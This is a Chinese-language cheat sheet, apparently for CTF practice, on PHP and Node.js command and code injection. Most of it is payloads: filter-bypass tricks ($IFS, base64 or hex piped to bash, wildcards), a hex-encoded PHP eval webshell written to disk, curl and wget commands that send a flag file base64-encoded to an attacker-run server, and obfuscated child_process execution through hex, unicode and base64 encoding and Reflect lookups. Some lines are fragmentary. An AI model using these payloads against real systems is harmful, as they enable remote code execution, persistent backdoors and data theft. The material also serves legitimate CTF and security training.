高危函数:
system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open() 注:反引号是shell_exec()的别名
代码注入
程序过滤不严谨,导致用户可以将代码注入并执行。高危函数:eval()、assert()、preg_replace()、call_user_func()等等和命令执行的区别是:一个执行系统命令,一个执行PHP代码
bypass
过滤空格
$IFS ${IFS} $IFS$9 < <> {cat,flag.php}// 用逗号实现了空格功能,需要用{}括起来 %20 %09
|
过滤某关键字
ca\t y1n\g.php反斜线绕过 cat y1”ng.php 两个单引号绕过 echo “Y2F0IC9mbGFn” | base64 -d | bash#base64 编码绕过 echo “6361742079316E672E706870” | xxd -r -p | bash#hex 编码绕过 cat y1 [n] g.php用[]匹配 cat y1n*用*匹配任意 cat y1n? cat y1{a..z}g more tlif3 less tlif3 head tlif3 tail tlif3 nl f* m4 *
|
escapeshellcmd+escapeshellarg绕过
无参数rce
shell_exec等无回显函数
判断方法
ls;sleep(3)
复制法
copy flag.php flag.txt mv flag.php flag.txt cat flag.php > flag.txt
|
压缩法
tar cvf flag.tar flag.php #tar压缩 tar zcvf flag.tar.gz flag.php #tar解压 zip flag.zip flag.php #zip压缩 unzip flag.zip #zip解压
|
写shell法
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php //echo "<?php @eval(\$_POST[123]); ?>" > webshell.php
|
利用vps反弹shell
法一
在自己的公网服务器站点根目录写入php文件,内容如下: <!-- record.php --> <?php $data =$_GET['data']; $f = fopen("flag.txt", "w"); fwrite($f,$data); fclose($f); ?>
|
在目标服务器的测试点可以发送下面其中任意一条请求进行测试
curl http://*.*.*.**/record.php?data=`cat flag.php|base64` wget http://*.*.*.*/record.php?data=`cat flag.php|base64`
|
法二
1.在公网服务器监听监听端口
2.向目标服务器发起http请求,执行curl命令
参考https://bbs.huaweicloud.com/blogs/detail/286904
法三,外带flag
curl -d @/home/www-data/res.txt http://xx:xxx curl http://xx:xx/?d=`php -r 'file_'|base64` echo `ps`>/home/www-data/res.txt
|
第一条是读取文件内容,第二条是执行命令,可以将执行命令的结果保存为一个文件,然后再去进行读取
nodejs RCE
1.child_process
child_process是用来执行系统命令模块
require("child_process").exec("sleep 3"); require("child_process").execSync("sleep 3"); require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args require("child_process").spawn('sleep', ['3']); require("child_process").spawnSync('sleep', ['3']); require("child_process").execFileSync('sleep', ['3']);
|
2.nodejs中的命令执行过滤关键字
16进制编码绕过
require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")
|
unicode编码
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")
|
加号拼接
require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')
|
模板字符串
require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')
|
concat连接
require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")
|
base64编码
eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())
|
Obejct.keys
实际上通过require
导入的模块是一个Object
,所以就可以用Object
中的方法来操作获取内容。利用Object.values
就可以拿到child_process
中的各个函数方法,再通过数组下标就可以拿到execSync
console.log(require('child_process').constructor===Object) //true Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')
|
Reflect
在js中,需要使用Reflect
这个关键字来实现反射调用函数的方式。譬如要得到eval
函数,可以首先通过Reflect.ownKeys(global)
拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]
即可得到eval
console.log(Reflect.ownKeys(global))
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
|
拿到eval之后,就可以常规思路rce了
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')
|
这里虽然有可能被检测到的关键字,但由于mainModule
、global
、child_process
等关键字都在字符串里,可以利用上面提到的方法编码,譬如16进制。
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')
|
这里还有个小trick,如果过滤了eval
关键字,可以用includes('eva')
来搜索eval
函数,也可以用startswith('eva')
来搜索
过滤中括号的情况
在3.2
中,获取到eval的方式是通过global
数组,其中用到了中括号[]
,假如中括号被过滤,可以用Reflect.get
来绕
Reflect.get(target, propertyKey[, receiver])
的作用是获取对象身上某个属性的值,类似于target[name]
。
所以取eval函数的方式可以变成
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))
|
后面拼接上命令执行的payload即可。
https://www.anquanke.com/post/id/237032
bash盲注